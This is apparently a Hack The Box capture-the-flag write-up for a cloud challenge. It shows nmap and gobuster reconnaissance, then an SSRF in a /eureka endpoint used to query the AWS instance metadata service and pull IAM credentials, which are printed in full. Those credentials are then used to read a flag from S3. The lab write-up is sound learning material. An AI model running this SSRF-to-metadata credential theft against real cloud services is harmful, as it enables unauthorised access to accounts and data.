We just launched our brand new pierce inventory which has wide variety of antique jewellery collection. Order before we run out of the stock.

Category: Cloud

Solver: rgw, linaScience

Flag: HTB{f0rg3ry_t0_IMDS_1s_fun!!!}

Writeup

We get an IP address and run a full port scan with host detection (nmap -p- -A). We see three open ports:

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   [...]
8000/tcp open  http    Werkzeug httpd 2.0.3 (Python 3.8.10)
|_http-title: Site doesn't have a title (application/json).
|_http-favicon: Unknown favicon MD5: 05D7D8C4C62484FB5DB1C78E05D739A1
| http-methods: 
|   Supported Methods: OPTIONS DELETE PUT POST HEAD GET
|_  Potentially risky methods: DELETE PUT
|_http-server-header: Werkzeug/2.0.3 Python/3.8.10
9000/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Pierce Shopping
| http-methods: 
|_  Supported Methods: GET HEAD
|_http-server-header: Apache/2.4.41 (Ubuntu)

When requesting port 8000, we get the JSON response {"Server":"Localstack","Status":"running"}. We find out that Localstack [1] is a fully functional local cloud stack. It seems like port 8000 is its exposed management port. Since access to the management port is unauthenticated by default, we use the AWS CLI tool [2] to interact with it:

$ aws configure
AWS Access Key ID [None]: foo
AWS Secret Access Key [None]: bar
Default region name [us-east-1]:
Default output format [None]:
$ aws --endpoint-url=http://10.129.136.92:8000/ s3 ls

An error occurred (InvalidClientTokenId) when calling the ListBuckets operation: The security token included in the request is invalid

It seems like LocalStack is not configured to allow any access key. To interact with LocalStack, we need to obtain some credentials. Therefore, we look at port 9000 and get greeted by an online shop:

The online shopping site does nothing, so we look further and try accessing .env, .git and running gobuster [3] to find other URLs:

$ gobuster dir -u http://10.129.136.92:9000/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x html
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.129.136.92:9000/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              html
[+] Timeout:                 10s
===============================================================
2022/03/27 12:52:21 Starting gobuster in directory enumeration mode
===============================================================
/index.html           (Status: 200) [Size: 21885]
/eureka               (Status: 400) [Size: 42]

[!] Keyboard interrupt detected, terminating.

===============================================================
2022/03/27 13:01:49 Finished
===============================================================

We find the URL /eureka which returns Error. You need supply a valid eureka URL. Eureka seems to be an AWS Service Registry [4]. We try different GET parameters for the endpoint and have success with /eureka?url=http://localhost:8000 which returns {"Server":"Localstack","Status":"running"} again. Therefore, we have an unrestricted Server-Side Request Forgery (SSRF) on our server. We find an article [5] that explains the exploitation of SSRF in cloud environments. In short, in AWS and some other cloud providers, there is a “magic IP” 169.254.169.254 which runs the instance metadata sevice [6]. This IP can only be requested from the machine itself. Since we have SSRF on our target, we can access metadata by requesting e.g. http://10.129.136.92:9000/eureka?url=http://169.254.169.254:80/latest/meta-data/iam/info which returns

{
  "Code" : "Success",
  "LastUpdated" : "2021-11-25T11:48:15Z",
  "InstanceProfileArn" : "arn:aws:iam::215284862002:instance-profile/s3-role",
  "InstanceProfileId" : "AIPATEH72JQZBDFPXYB63"
}

We see a role s3-role and request http://10.129.136.92:9000/eureka?url=http://169.254.169.254:80/latest/meta-data/iam/security-credentials/s3-role which results in:

{
  "Code" : "Success",
  "LastUpdated" : "2021-11-25T11:48:02Z",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "ASIACGN72DQZCWMP4V9M",
  "SecretAccessKey" : "oKXAKkSNuEmRvgloN5sb2S/U9APaCOv6WqhbXkBe",
  "Token" : "IQoJb3JpZ2luX2VjEKz//////////wEaCXVzLWVhc3QtMSJGMEQCIF0l1OEWVQhpva/crqlmrGWBx6l734r4CmwasrDaDqJmAiApPL55X3dg4Gy7PTh5RvkevNfg/TonvT7toCE5nTw3TCr6Awh1EAAaDDIxNTI4NDg2MjAwMiIMwB4lNnNFsVTx2ybBKtcDoBY4WJMZuQOGdHiApIgMhEKPNPmklxGpkKDUTUj0MsSvK5ZocLfwaIw0Eclt5O66ORf/IMrYkVnwLUbpUedVqqnQQtEiAsPMt020GHcKnHKTmzYKe68lgeNPHQyK7N+xzmCr4uqff7na2AfHNzedKgKrwojaZ9WkNZ/n7kE61Dq8qc/ed+zrL8wko3xZ7ioWiQqVXni/M9HHZHJx5zGkwB1SwTP9PXQwe8JOuunEpV1/mfD9q7WbnD8Bdx4zWdZBfXQgTepghQ4OtJu0+kEmMCD0csDDBZoFTHF7Sjz9PKLELNQ8ZABFXGSLJjiBiLB6ugsB3vyAaXfFFHNdtSleGF9OJ0GjxnaqmqZ7h2ORGgtSfVrrn5hWjQ8qofdSiMNuwBhvCnPAWnVMJFp4IuIMez8efgCBwiM5FARWiFXZZuRtK8omA5yi7VHdoNpG1VmuZJ9JZLEqRf1lM2j0fEPJYHKfRwJ4CmSGadiOwjRqjNpbmuiXdZObUKHvpJexL1zOaprP/n3sgzwQp3YDofg1G2gFQXhCxZxZU9va5dSkNoNRB/fgKwM9ZB7FzfqbaMFXoncC4OqR23iqe9yrw7u/UuU5lh4+/M8YAh0j0ZBfr1Q1E82jC/RVMP/v/YwGOqYBFdycNOJZYbnlPhGRamErhL9WAvgr7qtal1dnLQvSLFr4PE7bKn33rMRSZnlxr/giV7oyOSt1LAgHvBhkxqQj6EXgs3/NMq51y+6DvdAjHByHYic7N10bkpO346dOHZjt4Eu7Tz4slwRpiVzWmCoYjtPdauMtzfe5D/pllVTj+j2WOYZEezyxJsC+haAKhZL5SUzE7FCzcd0D5Vj6u86o56zXnQsKew==",
  "Expiration" : "2021-11-25T18:23:15Z"
}

We can use the AccessKeyId and the SecretAccessKey to configure the AWS CLI. Because of the role name, we assume access to S3 and can access the flag now:

$ aws --endpoint-url=http://10.129.136.92:8000 s3 ls
2022-03-27 12:36:26 private-02012022
2022-03-27 12:36:28 assets
$ aws --endpoint-url=http://10.129.136.92:8000 s3 ls private-02012022
2022-03-27 12:36:30         31 flag.txt
$ aws --endpoint-url=http://10.129.136.92:8000 s3 cp s3://private-02012022/flag.txt ./flag.txt
download: s3://private-02012022/flag.txt to ./flag.txt
$ cat flag.txt
HTB{f0rg3ry_t0_IMDS_1s_fun!!!}

Other resources

[1] https://localstack.cloud/

[2] https://aws.amazon.com/cli/

[3] https://github.com/OJ/gobuster

[4] https://github.com/Netflix/eureka

[5] https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf

[6] https://docs.aws.amazon.com/elasticbeanstalk/latest/dg/environments-cfg-ec2-imds.html